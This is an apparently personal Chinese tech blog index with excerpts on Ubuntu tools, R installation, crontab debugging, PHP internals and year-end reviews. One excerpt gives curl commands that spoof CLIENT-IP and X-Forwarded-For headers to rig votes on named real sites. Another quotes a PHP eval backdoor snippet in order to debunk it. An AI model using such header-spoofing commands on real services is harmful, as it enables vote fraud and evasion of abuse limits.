TaoGOGO的技术博客,始于2007年,通过文字分享技术、记录生活

ubuntu下的码农常用工具

最近MBP给了女友,重新回到ubuntu的怀抱。下面是个人在ubuntu下常用的软件:IDE:PycharmPHPStormZend Studio文本编辑器:VIMSublime Text版本管理:svnRapidSVNgitgit ui文件对比:Meld DiffVimdiff数据库:pgadmin3TORa浏览器:chrominumfirefoxWEB安全:burp suitesqlmapnmapfirefox hackbarmetasploit学习:calibre其他:virtualenv先写这么多,随时补充…
发布时间:2014-05-10 | 类别:技术 | 阅读:24820 | 评论:3 | 标签:ubuntu ubuntu常用工具 ubuntu gui工具

Centos5.8安装R语言和onLoad failed in loadNamespace() for 'tcltk'解决办法

最近在一台Centos服务器上安装R,遇到几个问题,记录下来,希望可以帮助到遇到相同问题的小伙伴。下载安装包后使用默认配置安装,执行./configure,报错:configure: error: --with-x=yes (default) and X11 headers/libs are not available解决方法:内部centos镜像有问题,所以改用官方yum源(baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/)yum install libX11-devel.x86_64yum install libXt-devel  安装sqldf包时报错:Error : .onLoad failed in loadN
发布时间:2014-02-26 | 类别:技术 | 阅读:15531 | 评论:1 | 标签:centos r

2013年总结

2013年学习方面的关键词是语言+安全+英语,生活上的关键词是定亲。学习方面:读书:今年的书读的很少,只是读完了《编程珠矶》、《开发高质量PHP框架与应用的实际案例解析》、《PHP核心技术与最佳实践》,有些书还没读完就没脸写出来了。shell:我负责管理几台服务器,使用shell开发环境部署、监控、状态调整、系统发布回滚、日志处理等脚本,简单的日志处理和系统管理用shell来做简单高效。python:重新捡起python,将它真正的用到实际工作中去了,开发一系列反盗号相关的日志处理、数据分析的系统,使用django开发了几个web项目,熟悉了许多python、django相关的工具。另外还在学习webpy的过程中写了一个开源的项目:webpyCMS(https://github.com/taogogo/webp
发布时间:2014-02-22 | 类别:成长 | 阅读:9913 | 评论:0 | 标签:年终总结 成长 2013

php的count函数返回值的问题

今天一个群里有个小伙伴说php的count函数比较诡异。看了下源码(/PHP_5_3/ext/standard/array.c),代码如下:300PHP_FUNCTION(count) 301{ 302 zval *array; 303 long mode = COUNT_NORMAL; 304 305 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z|l", &array, &mode) == FAILURE) { 306 return; 307 } 308 309 switch (Z_TYPE_P(array)) { 310 case
发布时间:2014-02-21 | 类别:技术 | 阅读:10343 | 评论:0 | 标签:php count

ec2设置load balance遇到的问题

建了一个ec2的instance,clone了一个,准备加lbs。clone的时候发现系统重启了。。。汗,其实在create image时,选择no reboot选项就可以了。添加后发现新建的那台lbs不通。直接访问也不行。后来发现是新建ec2的security group有问题,没有加http的白名单。添加后就ok了。
发布时间:2013-11-13 | 类别:技术 | 阅读:7993 | 评论:0 | 标签:ec2 load balance

fluentd安装方法

#安装ruby  wget http://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-p0.tar.gz  tar zxf ruby-1.9.3-p0.tar.gz  cd ruby-1.9.3-p0 ./configure --prefix=/usr/local --disable-install-doc --with-opt-dir=/usr/local/libmake && make install#安装fluentgit clone https://github.com/fluent/fluentd.gitcd fluentd/gem install bundlerrake buildgem install
发布时间:2013-10-31 | 类别:技术 | 阅读:8939 | 评论:0 | 标签:ruby fluentd

crontab无法执行的调试方法

今天在加一个casperjs脚本执行的定时任务时,发现任务不执行。命令如下:* * * * * /usr/local/bin/casperjs /data0/a.js >> /data0/a.log先去/var/log/cron看,发现任务被调用了:Oct 22 17:41:01 localhost crond[2727]: (root) CMD (/usr/local/bin/casperjs /data0/a.js >> /data0/a.log)但是a.log没有任何内容。估计是脚本根本没有执行,出现错误了。将系统错误信息也重定向到日志文件:* * * * * /usr/local/bin/casperjs /data0/a.js >> /data0
发布时间:2013-10-22 | 类别:技术 | 阅读:9663 | 评论:0 | 标签:linux crontab

简单的投票活动的刷票方法

对于仅限制ip且没有验证码的投票,刷票相对简单。如果没有限制ip,则curl "投票接口"就可以了:curl "http://weike.zbedu.net/plus/digg_ajax.php?action=good&id=2687"如果有ip限制,先看有没有获取ip漏洞:curl -e "http://vote.linziedu.net/" -H "CLIENT-IP:58.68.44.62" "http://vote.linziedu.net/Vote.asp?id=27"curl -e "http://vote.linziedu.net/" -H "X-FORWARD
发布时间:2013-09-25 | 类别:技术 | 阅读:9703 | 评论:0 | 标签:安全 验证码

php禁用eval的问题

今天在一个群里,看到有人说:为了安全,在安装php后,要修改php.ini禁用eval函数,否则有人会使用$func="e"."val";$func('phpinfo')这种代码放置后门。这个人明显没有真正这样做过,其实上面这句话有多个错误:首先eval并非一个函数,而是一种语言结构,在php的list of keywords里面有说明(http://php.net/manual/en/reserved.keywords.php)再次作为一个语言结构,他是无法使用Variable functions来调用的(参见:http://www.php.net/manual/en/functions.variable-functions.php)最后eval无法使用php.ini里
发布时间:2013-05-13 | 类别:技术 | 阅读:26748 | 评论:8 | 标签:php eval

2012年总结

今年重要的几个事情:团聚、开发心晴、开发统计系统、离职微游戏入职新浪很高兴认识心晴的一堆吃货,赵盼、郗建、金柱铁、刘汝峰、张文博,一起打拼、创造的日子非常开心,虽然最后项目没有达到预期的效果,但是我们成长了很多,为了梦想而一起打拼,总 是很有动力,我也真正的从头到尾主导了一个产品的研发。女朋友来北京了,哈哈,盼星星盼月亮终于可以团聚,十一见了彼此的父母,现在是真正的攒钱娶媳妇啦开发统计系统是第一次接触到“大数据”,也体会到数据的魅力和hadoop的威力离职微游戏也有万般的不舍,毕竟看着微游戏长大的,也是跟着微游戏成长的,但是做安全一直是自己的梦想,也许,以后就没有机会和勇气再做这种选择,当然,这次换工作也有不少教训,被新浪的人事摆了几道,以后长记性了今年读书如下《程序员的职业素养 》《程序员修炼之道-从小工到专
发布时间:2013-04-16 | 类别:成长 | 阅读:22389 | 评论:6 | 标签:2012 年终总结

公告

҉百度内部推荐,高级研发/PM(需2年以上工作经验)。
有意者微博私信联系~

微博言语

文章分类